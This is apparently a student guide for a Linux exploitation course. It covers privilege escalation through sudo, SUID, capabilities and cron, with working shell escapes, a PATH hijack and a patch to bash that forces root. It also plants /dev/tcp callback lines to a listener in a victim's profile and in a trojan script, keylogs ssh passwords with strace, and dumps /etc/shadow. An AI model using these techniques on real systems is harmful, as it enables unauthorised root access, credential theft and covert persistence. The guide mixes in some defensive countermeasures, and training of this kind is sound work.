Linux Exploitation

Version Date: 24 SEP 2018

Student Guide Printable Format

Skills and Objectives

Section 7.2.3: Privilege Escalation
Section 7.4: Maintaining Persistence
Section 7.5: Covering Tracks

Table of Contents

Student Demo System

- Tunnel through Jump box to 10.10.28.42 targeting port 22 for ssh session
  - example below

```
#from Op station
ssh student@<JMP_IP> -L RHP:10.10.28.42:22
#from Op station
ssh demo1@localhost -p RHP
########## OR ###################
#from Op station
ssh student@<JMP_IP> -D 9050
#from Op station
proxychains ssh demo1@10.10.28.42

#################################
creds:
    demo1 :: password
    demo2 :: password
    root  :: password
```

Privilege Escalation

Discuss: What is Privilege Escalation?

Stolen from https://en.wikipedia.org/wiki/Privilege_escalation

Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. The result is that an application with more privileges than intended by the application developer or system administrator can perform unauthorized actions.

Although the term privilege escalation implies upward movement, that is, gaining access as a more powerful user, don't discount lateral movement. If you phished user "bob" and got his credentials, cracking "janes" password and moving to her account can also provide value. Even though unclassified information is just that, "unclassified", the consolidation of many pieces of unclassified information can expose higher classification data.

Review: User Mode vs. Kernel Mode, Privileged vs. Unprivileged.

Like Windows, Linux uses Ring 0 (Kernel mode) and Ring 3 (User Mode). Usermode processes can operator as normal user processes or with administrative, or "root" privileges. Root is also often referred to as the superuser. The root user typically has a UID of 0. Root has unrestricted access in most Linux environments, similar to SYSTEM on Windows. When a privileged action is performed, a process acquires the UID of the superuser to perform the action.

There are many different ways that Linux environments attempt to isolate normal users from

privileged access while maintaining user experience. For example, suid bit in executable files and the sudo command are both ways that a normal user can perform a controlled, privileged action. However, when improperly configured or applied to insecure applications, these can allow a normal user to perform unintended privileged actions. Because there is so much freedom for user configuration and such a wide variety of configurations in Linux, the attack surface for privilege escalation tends to be very high.

Another component to Linux user privileged is advanced permissions such SELinux (Security Enhanced Linux), and extended attributes on files. While digging into selinux is absolutely critical for any serious Linux user, an in-depth study is beyond the scope of this class. It is sufficient to say that SELinux provides per-file role-based access control and sandboxing in order to prevent abuse of privilege.

Further reading:

- https://www.linode.com/docs/tools-reference/linux-users-and-groups/ - Linux Users and Groups
- https://www.linuxnix.com/suid-set-suid-linuxunix/ - suid
- https://linux.die.net/man/8/sudo - sudo man page
- https://www.oreilly.com/library/view/selinux/0596007167/ch01s02.html - SELinux

Discuss: Enumeration for Privilege Escalation

Because of the diverse and unique ways to perform privilege escalation in Linux, an attacker must perform a lot of enumeration when looking for a misconfiguration that allows privilege escalation.

For example, in this class we will cover privilege escalation that can be performed through weak sudo permissions, vulnerable suid/sgid executables, impoperly configured cron jobs, vulnerable services, and kernel exploits.

In each type of exploit, the class will cover the enumeration techniques to identify the vulnerability and an example of exploitation. An example of more verbose enumeration can be found online here: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Discuss: Restricted Shells

Although probably not considered "privilege escalation", if the access you obtain to a Linux system is stuck in a restricted shell, then getting out of it is the first order of business. This link is a great guide on techniques on exiting restricted shells.

https://speakerdeck.com/knaps/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells

Discuss: Sudo

The switch user command "su" can be used to change user context, and can be used to become the superuser (root) in order to perform system administration. In order to change user context with

the "su" command, the password of the requested user must be known. If there were several system administrators that required "root" access and were using the "su" command, then all of these users would need to know the "root" password which is very poor security practice. If there were multiple "root" users on the same system, and one of them performed an act that was considered sketchy or malicious, then it may be extremely unlikely to determine which of them were the culprit behind the act. Shared accounts should never be used

A solution to this is the implementation of “sudo”.

Per the sudo Linux man page, sudo allows a permitted user to execute commands as any user, to include the superuser (root), as specified by the configured policy in the /etc/sudoers file.

Benefits of sudo:

- Accountability is improved because of command logging
- Operators can perform tasks without unlimited root privileges
- Root password knowledge is truly limited
- Privileges can be revoked without changing passwords
- A canonical list of users with root privileges is maintained
- There is less chance of a root shell being left unattended
- A single file can be used to control access for an entire network

Some example sudo configurations include:

This rule allows user "USER_NAME", logging in from Host/IP HOST_NAME (can also be "ALL" to allow from any host) can run commands as any user "(ALL)" and run any command "ALL":

```
USER_NAME   HOST_NAME=(ALL) ALL
```

This rule allows user murphy to run /usr/bin/halt, /usr/bin/poweroff and /usr/bin/reboot as root:

```
murphy ALL=/usr/bin/halt,/usr/bin/poweroff,/usr/bin/reboot
```

More detailed sudo configurations can be found in the sudoers man page.

Sudo misconfigurations that can lead to privilege escalation:

- Commands that can access the contents of other files - There are some files on a Unix system that are protected to ensure that sensitive information can’t be seen by all users. For example: the /etc/shadow file contains hashed passwords for all local users. Even though the passwords can’t be reversed, they can be brute forced, so a command as simple as "cat", could be used to dump the hashed passwords.
- Running editors as root - Many Unix/Linux editors have the capability to escape to a shell or launch other commands so they can be used to obtain a root shell. Even if they limit the ability to edit files, then the user can edit /etc/passwd and /etc/shadow and add a root backdoor

account.

- Commands that download files - Unix/Linux systems can be configured to ensure that commands can only be executed from appropriate directories; therefore, downloading and attempting to execute an exploit from /tmp or /var/tmp would fail. If the user can download files as root, then they have the ability to place download files (or exploits) in "trusted" locations and bypass path whitelisting.
- Commands that execute other commands - If executing a command as "root", and it, in turn, executes another command, it will execute the other command as "root". Think of the other command as a BASH shell, and yes, this can be used to obtain a root BASH shell.

Also worth mention, even though they likely won't lead to priviledge escalation are dangerous commands. Sudo misconfigurations that allow execution of dangerous commands can be ulilized to disrupt operations and destroy data. They may be useful if the mission or circumstances warrant their use. Obviously the `rm` command could be used to completely delete a filesystem, but other commands such as `mv` can also be as dangerous as `mv something /dev/null` performs the same function as `rm something`. Giving sudo the ability to execute dangerous commands could result in a catastrophic denial of service situation and/or lost data even if unintended. Unix tends to not insult the intelligence (or lack of) of the user. You tell it what to do, and it gladly obliges.

Sudo typically requires the user to enter their password before invoking the command with the configured privilges. This is desired since an attacker could possibly hijack a user account without authentication. Even if the hijacked user account had the ability to sudo a root shell, the attacker would not be able to do so without knowing the users' password. Sudo can be configured to never prompt for a password, but this should never be implemented in production.

A good start for determine commands that can be potentially abused with sudo is: https://gtfobins.github.io/

Examples:

The tcpdump packet capture program, as benign as it might seem, has the ability to run other commands. Although the tcpdump program can be run by a regular non-root user when reading in packet captures to which they have privileges, if the user desired to "sniff" packets off they wire, the program must be run with root privileges in order to create a raw socket. If the system administrator configured tcpdump to be executed through "sudo" then tcpdump could be leveraged to spawn a shell as seen in the following example:

```
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -Z root -z $TF
```

Current versions of tcpdump have been patched to prevent this escape.

Even a patched version of tcpdump may be dangerous as sniffing packets can expose clear text passwords and/or sensitive information.

Another command that is often allowed to be executed as root through sudo is nmap. Although nmap can be executed by a non-root user, its functionality is limited so administrators often allow non-root users to execute it as root using sudo. Early versions of nmap contained an option "--interactive" that allowed users to execute shell commands. The "--interactive" option has been removed for some time now, but there is another way to obtain a root shell with current versions of nmap. Nmap uses the "lua" scripting language, and most scripting/programming languages have a function or method to call system commmands. Lua has the function "os.execute()" to perform this action.

```
echo 'os.execute ("/bin/bash")' > /tmp/escape.nse
chmod +x /tmp/escape.nse
sudo nmap --script=/tmp/escape.nse
```

The bash shell may not initially work property, but you can try the command `stty sane` and\or `reset` to reset the terminal to a "sane" status.

The following is an example of rules that can be abused.

```
user1 ALL=/usr/bin/apt-get
user2 ALL=/bin/cat /var/log/syslog*
```

The user1 rule abuse issue can be found in the list of commands on the https://gtfobins.github.io/ website. The user2 rule also can be found on the site, but the administrator has configured the rule in an attempt to limit user2 from viewing anything except files that begin with "/var/log/syslog*". This looks innocent enough to the untrained eye, but the problem is that by wildcarding the argument, then the cat command will accept any argument(s) that begin with "/var/log/syslog" as the wildcard matches spaces and any following characters. For example User2 could enter:

`sudo cat /var/log/syslog /etc/shadow`

or any other file or list of files after "/var/log/syslog" and access files outside what was intended.

There is a lot more to sudo than the above, but as can be seen, considerable research must be performed when implementing sudo as a defender, or learning how to abuse it as an offender. Sudo rules should be regularly audited to ensure they are valid.

Sources:

- https://linux.die.net/man/5/sudoers - sudoers manpage
- https://wiki.archlinux.org/index.php/sudo#Configuration - sudo configuration
- https://gtfobins.github.io/gtfobins/tcpdump/ - GTFO Bins

Demonstrate: sudo misconfigurations

1. Log into the instructor linux VM using root and the password you provided in the YAML input.
2. `su demo1` # switch to the user "demo1"
3. `sudo -l` # list the sudo privileges for the user demo1. Your password is the same as your admin

(root) password

4. Note that "/usr/bin/apt-get" can be executed by demo1 with root privileges. Demonstrate this with something simple like a `sudo apt-get update && sudo apt-get upgrade`
5. Lookup apt-get in gtfobins: https://gtfobins.github.io/gtfobins/apt-get/
6. Execute the given command to get root.

   `sudo apt-get changelog apt`

   `!/bin/sh`

   `id` # did it work?

   ```
   uid=0(root) gid=0(root) groups=0(root)
   ```

Discuss: Vulnerable suid/sgid executables

A way for a user to perform a controlled, privileged action is through the SUID and SGID executable files. SUID stands for Set User ID. SGID stands for Set Group ID. Programs that have the SUID bit set will execute under the user context of the user of the executable. Programs that have the SGID bit set will execute under the group context of the group of the executable. In other words, the SUID and SGID bits proxy the ability for a regular user to execute programs under different user and group contexts.

For example, a common SUID executable is the "passwd" command. Non-root users' don't have the ability to directly edit the "/etc/shadow" file, so the "passwd" command is set SUID as root so that a regular user can execute it and, the command, in turn, executes under the root user context which gives it the ability to make changes to the "/etc/shadow" file on behalf of the user.

The `find` command is likely the best tool for finding binaries that are SGID or SUID:

`find / -type f -perm /4000 -ls 2>/dev/null` # Find SUID only files

`find / -type f -perm /2000 -ls 2>/dev/null` # Find SGID only files

`find / -type f -perm /6000 -ls 2>/dev/null` # Find SUID and/or SGID files

An attacker can again use GTFOBins to look for executables that could be abused if sgid or suid is set. https://gtfobins.github.io/

For example, if the /usr/bin/find executable is suid, it could be used to execute arbitrary commands via:

`find . -exec <command> \;`

If a non-standard suid binary is found, an attacker may try to reverse engineer the suid in order to discover its purpose. For example, say the administrator wants to allow users to execute a single python script with root permissions. They could write an suid wrapper binary that executes the

script. But if the binary doesn't use the full path for the script, an attacker could modify the PATH variable and execute an arbitrary python script.

If nmap is set SUID root, then it may be possible to become root using the following:

```
echo 'os.execute ("/bin/bash")' > /tmp/escape.nse
chmod +x /tmp/escape.nse
nmap --script=/tmp/escape.nse
```

With recent versions of bash amd nmap (along with other shells and commands), this will probably fail. Bash, and other commands that have the potential of abuse if configured SUID/SGID have implemented checks and balances to ensure that even if executed in an attempt to escalate privileges, then do not run with escalated privileges.

Several work arounds are possible:

- Try different shells in the argument to os.execute()
- Try different commands such as editors to access protected files such as shadow or to escape
- Use a patched version of bash to ensure that it sets the uid to 0 (root)

Patch for bash-5.0 (should work on other versions):

```
diff -Naur bash-5.0.old/shell.c bash-5.0.new/shell.c
--- bash-5.0.old/shell.c    2019-05-14 14:31:12.329589945 -0400
+++ bash-5.0.new/shell.c    2019-05-14 14:32:36.314589624 -0400
@@ -1293,7 +1293,7 @@
{
   int e;

-  if (setuid (current_user.uid) < 0)
+  if (setuid (0) < 0)
     {
       e = errno;
       sys_error (_("cannot set uid to %d: effective uid %d"), current_user.uid,
current_user.euid);
```

The right combination to achieve escalation of privileges is delicate, but keep massaging it different techniques and hopefully one will work. The constant you can't change is the SUID program, but everything else is a variable.

Like sudo rules, SUID/SGID programs should be regularly audited to ensure they can't be abused. If the SUID/SGID bits on files change, validate the changes and perform remedial actions if nefarious activity is noticed.

Discuss: Capabilities (Additional Info)

Reference: https://wiki.archlinux.org/index.php/capabilities

Capabilities (POSIX 1003.1e, capabilities(7)) provide fine-grained control over superuser permissions, allowing use of the root user to be avoided. Software developers are encouraged to replace uses of the powerful setuid attribute in a system binary with a more minimal set of capabilities. Many packages make use of capabilities, such as CAP_NET_RAW being used for the ping binary provided by iputils. This enables e.g. ping to be run by a normal user (as with the setuid method), while at the same time limiting the security consequences of a potential vulnerability in ping.

In a nutshell, capabilities provide a "least privilege" method of allow users to execute programs that allow them the ability to perform specific tasks that typically require root access.

To get a list of all files on a system that are configured with capabilities:

```
getcap -r / 2>/dev/null
```

If that doesn't work, as I have found a system which it has failed, try this command:

```
find / -type f -exec getcap -r {} \; 2>/dev/null
```

If the Linux system you are on is using capabilities, the default configurations should have been carefully vetted to ensure they can't be abused, but a system administrator could provide capabilities much like they would set some programs, such as Nmap, to run with root privs so that a non-root user can perform certain scans on the network:

```
setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
```

Now nmap can be executed by a non-root user without the potential of using nmap for privilege escalation and scans such as OS fingerprinting can be run with:

```
nmap --privileged -O 192.168.1.40
```

The "privileged" keyword is required as nmap expects to be run as root to perform this scan and this keeps it from performing this check.

Now using the example listed earlier to gain a root shell but assuming the nmap program is SUID root:

```
echo 'os.execute ("/bin/bash")' > /tmp/escape.nse
```

```
chmod +x /tmp/escape.nse
```

```
nmap --script=/tmp/escape.nse
```

Would fail since Nmap isn't actually running as root.

Here is an example that demonstrates how capabilities can be abused. You are the root user and you want to provide the ability for a user to backup the system, so you give them the ability to do so by setting the `tar` executable with the ability to read all files on a system.

```
setcap cap_dac_read_search+ep /bin/tar
```

Now tar will bypass the permission checks on files and directories. Using this command, any user that can execute tar can now dump the password hashes:

`tar -cvf - /etc/shadow | cat -`

To remove the capabilities from tar (or other commands), use the command:

`setcap -r /bin/tar`

If a capability is grossly misconfigured, you would see something such as this in the list of files with capabilities:

`/usr/sbin/tcpdump =ep`

If you see something like "=ep" without it being tied to a specific capability is an empty capability set, which basically is equivelent to SUID root. The =ep by itself states that the binary has all capabilities permitted (p) and are effective (e) upon start of execution. Refer to the site: https://gtfobins.github.io/ for ways to potentially abuse this misconfiguration and other capabilities. Even though it doesn't have a section for capabilities, the techniques still may be effective.

Even with "=ep" capabilities, there are still challenges. A benefit to capabilities is inheritence can be disabled. For example, if a program is SUID, then programs it may call also will inherit the context of the SUID program. With capabilities, this can be prevented. For example:

`setcap CAP_DAC_READ_SEARCH+ep /bin/bash` # Set /bin/bash with capability to bypass permissions checking and read all files

`getcap -r /bin/bash` # Verify the capability:

```
/bin/bash = cap_dac_read_search+ep
```

`/bin/bash` # Execute /bin/bash again so that it executes with the configured capability

Perform a test.

`su test` # switch user to a user that can't read senstive files such as

`cat /etc/shadow`

```
cat: /etc/shadow: Permission denied
```

There is a reason for the failure. /bin/bash is running with the capability to bypass permissions checks and read all files, but cat is not and cat (or any other command for that matter) doesn't inherit the capabilities of /bin/bash. This demonstrates the effectiveness of capabilities, but there still is a way to a use this situation for abuse:

`cat < /etc/shadow`

```
root:$6$gFPbZKYI$RuR7I0Adpo9fZXWJp2RVpndczzLmKNB9hnobfo5VPQLta87kJxjq0aqVpi6x1sy4dpY0j
5eMPI5CvdrbmCE1t1:18277:0:99999:7:::
```

```
daemon:*:18248:0:99999:7:::
bin:*:18248:0:99999:7:::
sys:*:18248:0:99999:7:::
-- Output Omitted --
```

Why does this command work when the previous commmand failed? The only difference between the previous command that failed and the current one that succeeded is the redirection "<". Bash handles redirection and cat accepts the redirected input provided by bash and since bash is running with the capabilty to bypass permission checks and read all files, it can read "/etc/shadow" even when running as a non-root user. The "cat" command happily accepts the redirected input and displays it to standard output.

Demonstrate: Vulnerable SUID/SGID executable

1. Log into the instructor linux VM using root and the password you provided in the YAML input.
2. `su demo2` # su into the user demo2
3. `sudo -l` # same as root password. should get: *"Sorry, user demo2 may not run sudo on localhost."*
4. `find / -perm /4000 -type f 2>/dev/null -exec ls -l {} \;` #look for setuid executables
5. Take note of the setuid file /bin/netstat_natpu as it stands out to the trained eye as a non-system SUID program.

   ```
   -rwsr-xr-x 1 root root 845088 Nov  5 17:30 /bin/netstat_natpu
   ```

6. Perform some static analysis of the executable.

   `file /bin/netstat_natpu #verify that it's an executable`

   ```
   /bin/netstat_natpu: setuid ELF 64-bit LSB executable, x86-64, version 1
   (GNU/Linux), statically linked, for GNU/Linux 3.2.0,
   BuildID[sha1]=fbb80959eba1d2773de8839995ede67c0a965a47, not stripped
   ```

   `/bin/netstat_natpu #execute the command and take note of the privileged output of the "-p" flag in netstat`

   ```
   Active Internet connections (servers and established)
   PID/Program name
   2657/systemd-resolv
   1263/sshd
   22960/sshd: root@pt
   1263/sshd
   2657/systemd-resolv
   2634/systemd-networ
   ```

   `netstat -antpu #compare the output to normal netstat`

```
(No info could be read for "-p": geteuid()=1002 but you should be root.)
Active Internet connections (servers and established)
PID/Program name
-
-
-
-
-
-
```

1. Dig into the executable a little more:
    a. Strings dump of netstat_natpu

`strings /bin/netstat_natpu | grep -C3 netstat`

```
    T$8L
    T$8L
    L;~(
    netstat -antpu
    Not setuid root.
    haswell
    xeon_phi
```

In summary, the executable does a setuid(0); — if it is successful, it then executes `system("netstat -antpu");` — otherwise, it prints "Not setuid root."

8. Highlight to students that the command "netstat -antpu" does not have an absolute path. This means that it uses the PATH environmental variable to search for the executable. An attacker can manipulate the PATH variable and execute any file under her or his control.

    `printf #!/bin/sh\n/bin/bash -i\n' > netstat` # create a script called netstat that executes an interactive shell.`

    `chmod +x netstat` # make the script executable

    `PATH=$(pwd):$PATH /bin/netstat_natpu` # get root

    `id` # did it work?

    ```
    uid=0(root) gid=1002(demo2) groups=1002(demo2)
    ```

    NOTE this modifies the PATH to add the current directory to the front of the path. when /bin/netstat_natpu tries to execute "netstat", it looks for an executable file in the current directory first. It finds the bash script and executes that, giving us an interactive shell with root privileges.

Discuss: Cron Jobs

The cron service/daemon allows Unix/Linux to ability to schedule commands or scripts to run at specified dates/times. The Windows equivalent is scheduled tasks.

There are many flavors of cron. Some crons support the extended cron format which have a year column (nncron http://www.nncron.ru/help/EN/working/cron-format), but they are rarely, if ever, used. Realize that there may be differences between cron flavors so the following information may not be exact to your flavor but you should be able to adjust.

Cron executes as a service under the root user context. There are user cron jobs and system cron jobs.

User crontab files are named after the user which created it, so user "bob" will have the file `/var/spool/cron/crontabs/bob`. They execute under the user context of the name of the crontab, so even if `/var/spool/cron/crontabs/bob` has user and group ownership of `root`, it will execute under the user context of the name of the file "bob". Non-root users should not allowed to directly view, create, or edit files in this directory. If they can, then there are serious security problems with the system. The command `crontab -e` is a SGID program that runs under a specific group context so that a user can create/edit their own cron job files. It also ensures to save the file with the name of the user which is using it. If all is configured correctly and securely, then non-root users will unable to escalate privileges with user crontabs, but enumeration should still be performed to verify if the system is configured properly and securely. Not all users may create cron jobs. Typically the user has to be a member of a specific group (i.e. crontab) in order to create user crontab files as the `crontab` file is SGID of the group allowed to manage user cron files.

User cron rules are in the format (as the name of the crontab indicates which user context to run under):

```
m h  dom mon dow   command
```

System cron files are located in the `/etc` directory. There are several files and directories and all should be examined for flaws/misconfigurations that can be used to escalate priviledges. The main system crontab file `/etc/crontab` includes a user field indicating the user context in which to execute the cron job. The proper way to add system cron jobs is to not edit the `/etc/crontab` file directly but place entries in the `/etc/cron.d` directory. The contents of the files in this directory must follow the same format as /etc/crontab (including the user field).

System cron rules. They are in the format:

```
m h dom mon dow user    command
```

Another method to creating cron jobs is to place scripts or links to scripts in any of the following directories: /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly. The scripts within these directories will be executed at the times specified in /etc/crontab. The scripts in these directories are often started by the `run-parts` command. The `run-parts` command is particular on the permissions and the name format of the scripts it runs. Somewhat obvious is that they must be

set executable. An odd thing is that the file must named appropriately. From the `run-parts` man page:

```
If neither the --lsbsysinit option nor the --regex option is given then the names must
consist entirely of ASCII upper- and lower-case letters, ASCII digits, ASCII
underscores, and ASCII minus-hyphens.
```

A Unix/Linux user will often create scripts with a ".sh" extenstion. There isn't anything wrong with that, but the run-parts command will ignore files that have a dot "." in their name. Here are examples of good and bad file names with respect to the `run-parts` command.

Good:

```
logrotate
samba
Run_Update
```

Bad (will be ignored):

```
checkfiles.sh
cleanup.oldstuff
```

Crontab fields:

The time and date fields are:

```
field          allowed values
-----          --------------
minute         0-59
hour           0-23
day of month   1-31
month          1-12 (or names, see below)
day of week    0-7 (0 or 7 is Sunday, or use names)
```

There are several ways to use cron for privilege execution

Exploiting poorly configured/secured cron jobs:

Cron jobs generally run with root privileges. If we can successfully tamper any script or binary which are defined in the cron jobs then we can execute arbitrary code with root privilege.

- Is the cron server binary itself writable?

  If so, replace it with a binary that performs your desired task as the cron is started as a service by the configured init system. This would be true of any binary that is launched by init.

- Are any of the cron scripts writable by me?

If so, replace or append to them to perform your desired task.

- Are the cron.d or any of the cron.daily, cron.hourly, cron.weekly, cron.monthly directories writable?

  If so, add a new script to the directory to perform your desired task.

- Are any files or directories referenced in the cron job or script writable?

  If so, replace or append them with binaries or scripts that perform your desired task as they will inherit the user context of the cron job (for system cron jobs that would be root!)

  Example: In the process of enumerating cron jobs you find a system cron job named `DailyCleanup` in the cron.hourly directory references a binary `/usr/local/bin/cleanup`. The `DailyCleanup` cron job permissions are not writable by your current user context, but checking the permissions on `/usr/local/bin/cleanup` referenced in the cron job you see this:

  ls -l /usr/local/bin/cleanup ` # Check permissions of reference file

  ```
  -rwxrwxrwx 1 root root 209 Jan 21 07:54 /usr/local/bin/cleanup
  ```

  `/usr/local/bin/cleanup` is world writable and it is being run by the DailyCleanup system cronjob. Any command we write/append in `/usr/local/bin/cleanup` file would be executed as 'root'.

What do you write or append to the file or directory that you can use for escalation? There are many solutions:

- Shovel a shell with netcat
- Append a sudoers rule that allows an account you have access to get a root shell
- Append a new account to `/etc/passwd` and `/etc/shadow`
- Create or upload a binary that performs you desired task (backdoor listener, etc)
- Plus umpteen other possibilities. Be creative, but stealthy.

A quick start is to enumerate all cron jobs:

`find /var/spool/cron/crontabs /etc/cron* -writable -ls` # finds any cron file or directory that can be written to.

If the permssions on the cron jobs/scripts are not writable, then examine the contents of the scripts and check the permissions on the files and directories they reference to see if they are not secured properly. This takes a bit of work but can be scripted. For example, a good start would be to glean anything in the cron scripts that look like a path:

`find /etc/cron* -type f -exec grep -Eo '/.*' {} \;` # Find potential path and filename by looking for any entry that starts with a slash followed by any number or type of character.

Countermeasures:

```
Any script, binary, or directory defined in cron jobs should not be writable
cron file should not be writable by anyone except root.
cron.d directory should not be writable by anyone except root.
```

Sources:

- https://payatu.com/guide-linux-privilege-escalation/ - Exploiting Badly Configured Cron Jobs

Discuss: World writable files and folders

World writable files and directories can be identified with the following command:

`find / -type f -perm /2 -o -type d -perm /2 2>/dev/null` # Search for any file or directory that is writable by the context "other"

From a defensive position, you should ensure that there are no world writable files/directories on a system. The exception is /tmp and /var/tmp

Although world writable files/directories are a concern, all you should care about is what files and directories can you, or your current user context, write to. To find files and directories that you have the ability to write to, use the command:

`find / -type f -writable -o -type d -writable 2>/dev/null` # Search for any file or directory that is writable by the current user

As mentioned during the cron privilege escalation discussion, if any of the crontab scripts or directories have excessive permissions, then they could potentially have been modified by a user other than root or the appropriate user to obtain access of the user context of the user which executes it. Unless cron is grossly misconfigured, it is unlikely that its files will be writable by any entity other than root or the valid user for user cron scripts.

Non-root, regular users are most likely the cause of misconfigurations; however, their impact is going to be limited to areas to which they have write access (i.e. their home directory). So what kind of damage is possible here? If the user were to create a ".profile" in their home directory so that they could change their environment when they log in, and inadvertently modified it with excessive permissions, then we could edit the file and add anything to it so that when they log in, would execute under their user context. Again, this may not be moving up, but lateral movement can be just as important as it is newly acquired territory.

Trojan horse scripts and programs can be placed in world writable directories with names that entice the user to execute them. Again, you can use this to obtain the user context of the unspecting user, but as mentioned before, as lateral moving is gaining territory on the system.

The following is an example:

```
echo "exec 3<>/dev/tcp/192.168.1.40/4444" >> /home/user/.profile
echo "echo \$(whoami) logged in on \$(date) >&3" >> /home/user/.profile
```

Set up a netcat listener on system 192.168.1.40:

```
nc -lp 4444
```

Wait for "user" to log in to receive the output:

```
user logged in on Fri 19 Apr 2019 02:10:35 PM EDT
```

Although this doesn't give access, you could write the commands that do.

Discuss: Dot '.' in the path

Unix/Linux shouldn't include the current directory '.' by default in the path. Adding it should be avoided. For example, if I know that someone on the system is using a '.' in their path, I could place files in areas to which I have write access using actual command names or typical misspellings/mistypings of those commands such as ls or ls-l (intended space left out). If the current directory '.' is first in their path, they are in the directory I placed my script, and they type the same command name that I have given my script, then I am guaranteed that my script will execute instead of their intended command and it will execute under the context of the current user. I just have to be sure that my script performs whatever function I desire. Here is an example:

```
#!/bin/bash
# script that sends information to a remote system.
echo "exec 3<>/dev/tcp/192.168.1.40/4444" > /tmp/ls-l
echo "echo \$(whoami) logged in on \$(date) >&3" >> /tmp/ls-l
chmod +x /tmp/ls-l
```

And wait for someone to type in a command with my netcat listener on 192.168.1.40:

```
nc -lp 4444
```

Once they type the desired command, I get the ouput:

```
bill logged in on Fri 19 Apr 2019 02:10:35 PM EDT
```

Although this doesn't grant access to bill's stuff, you could write a script that does.

Discuss: Vulnerable services

An open port on a system is an avenue for access to a system, legitimately or illegitimately. If you have legitimate access, then exploitation isn't necessary. To discuss all the possibilities of exploiting services would be a college level course in itself. Key steps in service exploitation is enumeration, research, and testing. Just finding port 80 open doesn't mean to just start firing web service exploits willy nilly. Also, what value does exploiting the web service give you? If it is not running as root, then maybe not much. Before taking any action against a service you need to find the type and version, determine if there is any value to exploiting the service, and test it in a lab environment

before actual exploitation to ensure it operates as intended.

Sometimes services that are running as administrator have vulnerabilities that can be abused to gain root access. Running services can be enumerated in the process list and those with network connectivity can be enumerated with netstat or sockstat.

For example, root processes can be identified with:

```
ps aux | grep root
```

Open sockets can be identified with:

```
netstat -antu
#or
ss -antu
```

Once a service is identified, an attacker can conduct open-source research to find vulnerabilities if the service has unpatched vulnerabilities.

Discuss: Kernel exploits

The kernel itself may be outdated and vulnerable to exploitation; however, kernel exploits are much riskier because they can cause the device to become unstable and/or crash. One should test kernel exploits in a lab and only use them as a last resort.

An attacker can identify the kernel version in a few different ways:

```
uname -a
cat /proc/version
dmesg | grep Linux
```

After identifying the kernel version, an attacker would conduct research to identify exploits that the kernel is vulnerable to.

An example of a common Linux kernel exploit is CVE-2016-5195, or "Dirty COW." https://dirtycow.ninja/

Residual files from editors (Additional Info)

Some editors make temp files while editing files. There are instances, typically where the editor closed incorrectly, where the temp file remains on the file system. It is possible that the permissions on the temp file may be more permissive than the original file.

Temp files are usually created with a trailing tilde '~' in the name. Use the following command to find them and show their permissions:

```
find / -type f -name '*~' -ls
```

Examine any files listed in the output that you believe may have value.

From a defensive perspective, this command could be added to a cron job to remove these files, but be sure there there are no non-temporary files with a name that ends in a tilde otherwise this will delete them:

```
find / -type f -name '*~' -ls -exec rm {} \;
```

When modifications are made to the passwd, shadow, group, or gshadow, a backup of the previous files may be saved in the /etc directory. These backup files contain the same name of the original file, but a dash '-' is appended to the file. To find these files, use the command `ls -l *-`. Although the system should save these with the same permissions as the original file, it may not have and could have readable by all users. They are worth a check.

In a situation where the user root is editing a file with `vi` and inadvertently saves and exits vi by typing:

```
wq!1
```

The expected command is `wq!`, but the root user fat fingered a '1' at the end. Assuming root were editing /etc/shadow, then the `/etc/shadow` file would be saved by the name '1' in the root users' current directory. Another side effect to this, is that the file would be saved using the root users' `umask` settings so the permissions would likely be `-rw-r--r--`, which gives everybody the ability to read this file even though it is a copy of the `/etc/shadow`.

How does one go about finding these files? One way is to look for files with one or two letter names as the user typically fat fingered only a letter or two. Any more beyond that would have too many false positives. Although there are many "normal" one or two letter file names on Linux, they should be relatively easy to distinguish from ones that were created inadvertently. Use the command:

```
find / -type f -regextype posix-egrep -regex '.*/.{,2}'
```

to find all one or two letter files. Although it is possible that the file may have been named with more than two letters, there are so many of those that occur normally on a Linux system, so finding those would be challenging by name alone. For this you can write regular expression to look at the contents of files for patters.

Discuss misc other methods (Additional Info)

Misconfigured NFS shares

Shared permissions and local permissions are two different things. It is possible that an NFS share may be misconfigured to allow root access to the file system after it is mounted.

Take a look at the file `/etc/exports` or do a mount to see what file systems are mounted. If you see an NFS mount with the option "no_root_squash", then that share has the potential to allow a privilege exploit or access to files only readable by root. See: http://fullyautolinux.blogspot.com/2015/11/nfs-norootsquash-and-suid-basic-nfs.html

History and log files

Have you ever been in a rush or not paying attention and type your password in a username field or vice-versa? It is possible that the system may have logged the attempted authentication by the username, but the username is a password. If a users is attempting to execute the switch user `su` command and fails from some reason (types si instead of su), they may inadvertently type their username and/or password on the command line. Even though they may not be a valid command, bash will pop that username/password in the the bash history file just as if it were a command. Going through logs and user history files may expose usernames/passwords that can be used to gain privileges or reused on other systems. Even if there are no passwords in the history files, there can be a wealth of other useful infomation in them so they are always worth examining.

Keylogging

Typically installing key logging software on a Linux box requires root access, but if you have compromised a user account, you can wait for the user to use a tool that uses interactive authentication such as ssh, telnet, etc, and use a built-in tool (if installed) called strace. Here are the steps:

1. Write a script that monitors for the user to execute a command such as ssh, telnet, etc. and attaches to that process using the command: `strace -e read -p PID_OF_PROCESS`
2. After attaching the strace command has the process the keystrokes will be dumped as they are entered by the user (read events "-e read").

This is an example of what the output of attaching to a spawned SSH connection:

```
strace -e read -p 7532
strace: Process 7532 attached
read(4, "P", 1)                         = 1
read(4, "a", 1)                         = 1
read(4, "$", 1)                         = 1
read(4, "$", 1)                         = 1
read(4, "w", 1)                         = 1
read(4, "0", 1)                         = 1
read(4, "r", 1)                         = 1
read(4, "d", 1)                         = 1
read(4, "\n", 1)                        = 1
*** OUTPUT OMMITED ***
```

The reason that you have to script and monitor this is because you have to attach to the process immediately before the password is typed. It doesn't capture past events.

You can only attach to processes to which you have permissions, so you have to be authenticated as the user who is attempting the authentication.

Persistence

Persistence can be defined as any technique that allows an actor to restore interactive access to a system after it is lost.

Persistence Considerations

- What is the purpose for persistence?
  - Penetration test
  - Offensive cyber operations
- Detection – Avoid detection in creating persistence
  - Use system tools for persistence
  - Throttle network usage or obfuscate it to blend in
- Discovery – Avoid detection after creating persistence

Cron Jobs for Persistence

